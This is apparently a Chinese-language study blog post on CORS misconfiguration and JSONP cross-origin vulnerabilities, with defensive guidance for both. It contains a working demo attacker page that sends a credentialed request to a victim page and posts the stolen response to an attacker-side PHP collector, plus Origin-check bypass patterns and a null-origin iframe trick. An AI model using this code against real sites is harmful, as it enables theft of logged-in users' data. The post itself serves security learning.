CORS和JSONP跨域漏洞简要学习
跨域
SOP,同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。
同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于隔离潜在恶意文件的关键的安全机制.简单说就是浏览器的一种安全策略。
“同源”包括三个条件:
- 同协议
- 同域名
- 同端口
随着互联网的发展,同源策略越来越严格,目前,对于非同源的网站共有三种行为受到限制。
(1) Cookie. LocalStorage和IndexDB无法获取。
(2) DOM无法获得。
(3) Ajax请求不能发送。
同源策略的具体表现举例:当attacker.me试图获取victim.me下的资源,浏览器会阻止返回该资源。(这里在本地通过hosts绑定两个域名)
这里我们没有设置CORS策略,直接通过XMLHttpRequest去加载
SOP是一个很好的策略,但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。
跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制!
跨域常见的两种方式,分别是JSONP和CORS。
还有很多标签可以跨域(如script,img,iframe,link等),主域下不同子域设置document.domain也可以跨域访问
CORS跨域
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
跨域访问的一些场景:
- 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
- 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。
- 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
- 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。
CORS漏洞的攻击流程:
那么CORS跨域导致用户信息泄漏是怎么发生的呢?
- 假设用户登陆一个含有CORS配置网站
vuln.com
,同时又访问了攻击者提供的一个链接evil.com
。 evil.com
的网站向vuln.com
这个网站发起请求获取敏感数据,浏览器能否接收信息取决于vuln.com
的配置。- 如果
vuln.com
配置了Access-Control-Allow-Origin
头且为预期,那么允许接收,否则浏览器会因为同源策略而不接收。
本地简单演示
漏洞地址:http://www.testzb.com/cc.php
攻击地址:http://www.cors.com/index.html
正常通过ajax去请求更新资源就是如上图所示,由于同源策略,无法获取资源
当设置Access-Control-Allow-Origin并且允许域为任意的时候
添加
header("Access-Control-Allow-Origin:*");
我们模拟下黑客给用户发送恶意页面
http://www.cors.com/index.html
<!DOCTYPE> <html> <h1>Hello I evil page. </h1> <script type="text/javascript"> function loadXMLDoc() { var xhr1; var xhr2; if(window.XMLHttpRequest) { xhr1 = new XMLHttpRequest(); xhr2 = new XMLHttpRequest(); } else { xhr1 = new ActiveXObject("Microsoft.XMLHTTP"); xhr2= new ActiveXObject("Microsoft.XMLHTTP"); } xhr1.onreadystatechange=function() { if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response { var datas=xhr1.responseText; console.log(datas); xhr2.open("POST","http://www.cors.com/save.php","true"); xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xhr2.send("T1="+escape(datas)); } } xhr1.open("GET","http://www.testzb.com/cc.php","true") //request user page. xhr1.withCredentials = true; //request with cookie xhr1.send(); } loadXMLDoc(); </script> </html>
意思就是创建一个XMLHttpRequest对象,当用户访问恶意界面时,XMLHttpRequest去访问用户敏感页面,如果返回正常,会将获取到的页面信息传入到攻击者设置的save.php接收页面
save.php
<?php $myfile = fopen("secrect.html", "w+") or die("Unable to open file!"); $txt = $_POST['T1']; fwrite($myfile, $txt); fclose($myfile); ?>
我设置了xhr1.withCredentials为true,意为想要带上 cookie去访问,但是服务端没有设置"Access-Control-Allow-Credentials:true",意为允许客户端携带验证信息
而且当服务端出现
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
这种配置出现时,浏览器会拒接呈现服务端返回的资源
客户端不带cookie请求的话还是会正常呈现的,因为cookie是一种身份标识,一旦浏览器标识了用户身份,那么返回的数据必然属于用户个人,所以浏览器设计了这种措施来保护用户数据不被泄露。
服务端配置修改如下:
header("Access-Control-Allow-Origin: http://www.cors.com"); header("Access-Control-Allow-Credentials:true");
指定域名时就可以客户端可以请求带上cookie
模仿受害者访问index.html
攻击者就抓取到了用户的敏感页面
CORS错误配置问题总结
ACAO
与ACAC
头错误配置
利用空格来分隔多个源 Access-Control-Allow-Origin: https://example1.com https://example2.com
利用通配符信任所有的子域名 Access-Control-Allow-Origin: *.example.com
浏览器报错
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
Nginx 错误配置示例:
add_header "Access-Control-Allow-Origin" $http_origin; add_header “Access-Control-Allow-Credentials” “true”;
动态生成访问控制策略的方法:在Access-Control-Allow-Origin
中反射请求的Origin值。该配置可导致任意攻击者网站可以直接跨域读取其资源内容。
Origin校验绕过
target.domain
允许example.com
跨域,对example.com
进行校验
匹配方式 | 校验内容 | 绕过方式 |
---|---|---|
包含匹配 | 只校验是否包含example.com |
构造Origin: https://malicious.example.com |
前缀匹配 | 只校验前缀是否为example.com |
构造Origin: https://example.com.malicious.com. |
后缀匹配 | 只校验后缀是否为example.com |
构造Origin: https://maliciousexample.com |
子域名匹配 | 只校验是否为子域名 | 控制目标站点某一子域名或利用存在XSS漏洞的子域名 |
尽量避免使用正则表达式进行校验
案例:https://www.freebuf.com/articles/web/158529.html
信任null源
开发者在网站上配置信任null
源,用于调试代码(页面跳转、与本地file页面共享数据)
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
攻击者可从任意域下通过iframe sandbox
构造Origin
为null
的跨域请求
<iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=’data:text/html,’>
请求包
GET /handler Host: target.local Origin: null
响应包
HTTP/1.1 200 OK Acess-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
HTTPS域信任HTTP域
HTTPS协议被设计用于在不安全的网络中进行安全通信。即使在中间人网络环境下,攻击者也应该无法读取HTTPS网站的内容。但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容。
信任自身全部子域
为了防止某个子域上XSS漏洞的危害其他子域,浏览器设计了Cookie
的httponly
标志,用于限制Javascript读取Cookie,因此某个子域XSS不能读取带有httponly
标记的Cookie
,难以窃取其他重要子域上的敏感内容。 但是如果这个域配置了CORS且信任全部子域,那么攻击者可以利用其他任意子域上XSS漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容。
案例:https://www.freebuf.com/articles/web/204023.html
Origin:*
与 Credentials:true
共用
浏览器报错
Access-Control-Allow-Origin:* Access-Control-Allow-Credentials:true
为避免该配置产生浏览器报错,部分Web框架将Access-Control-Allow-Origin:*
与Access-Control-Allow-Credentials:true
转换为反射Origin,导致产生安全问题
缺少Vary:Origin
头
当 Access-Control-Allow-Origin
是被动态生成的话,则需指定 Vary: Origin
标头,避免攻击者利用缓存进行攻击。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin
的值发生变化
Vary: Origin头详解https://zhuanlan.zhihu.com/p/38972475
CORS防御
关闭不必要开启的CORS
白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置Access-Control-Allow-Origin
为通配符*
或null
,严格效验来自请求数据包中的Origin
的值
仅允许使用安全协议,避免中间人攻击
尽可能的返回Vary: Origin
头部,以避免攻击者利用浏览器缓存进行攻击
避免将Access-Control-Allow-Credentials
标头设置为默认值true
,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为false
限制跨域请求允许的方法,Access-Control-Allow-Methods
最大限度地减少所涉及的方法,降低风险
限制浏览器缓存期限:建议通过Access-Control-Allow-Methods
和Access-Control-Allow-Headers
头部,限制浏览器缓存信息的时间。通过配置Access-Control-Max-Age
标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值,确保浏览器在短时间内可以更新策略
仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。
JSONP跨域
jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。
JSONP的语法和JSON很像,简单来说就是在JSON外部用一个函数包裹着。JSONP基本语法如下:
callback({ "name": "kwan" , "msg": "获取成功" });
JSONP原理就是动态插入带有跨域url的<script>
标签,然后调用回调函数,把我们需要的json数据作为参数传入,通过一些逻辑把数据显示在页面上。
常见的jsonp形式类似:
http://www.test.com/index.html?jsonpcallback=hehe
传过去的hehe就是函数名,服务端返回的是一个函数调用,可以理解为:evil就是一个函数,(["customername1","customername2"])就是函数参数,网站前端只需要再编写代码处理函数返回的值即可
上述解释参考自先知社区,文章最下面链接中有。
大家需要注意一点:jsonp并不能解决所有的跨域问题,因为使用jsonp跨域需要被提供jsonp接口
想要看下代码层面如何实现的可以参考菜鸟教程JSOPN教程
以我简单的理解来说,就是传递一个函数名给jsonp接口参数,然后服务端返回函数{数据}这样的结果,通过客户端页面的js函数,将传回来的数据作为函数的参数
JSONP的防护
1、严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
2、严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
3、严格过滤 callback 函数名及 JSON 里数据的输出。
4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
5、其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用
学习总结
对于CORS和JSONP跨域漏洞,我认为主要是对一些敏感的接口尝试CORS和JSONP跨域漏洞的测试。
CORS:添加Origin头测试服务端返回头来判断CORS的配置是否有问题。
JSONP:fuzz JSONP的接口参数,通过回显长度判断测试接口参数。JSONP还可以产生XSS,因为直接返回的是你请求的函数名,注入XSS payload,也能打XSS
对于上述两个漏洞,我认为在逻辑业务碰到的情况较多。
看了两三天才看懂JSONP和CORS跨域漏洞的问题。汗,这里稍微学习下,很多细节或者案例没有写,写了也是复制粘贴上去,不如有兴趣的可以看下面的参考链接。
唐龙师傅写的总结中提到了的误区也是我为什么学习两天才明白的原因。
参考链接:
https://www.freebuf.com/column/207802.html
https://www.anquanke.com/post/id/97671
http://www.ruanyifeng.com/blog/2016/04/cors.html
https://www.freebuf.com/column/194652.html
https://www.anquanke.com/post/id/152339
一些文章: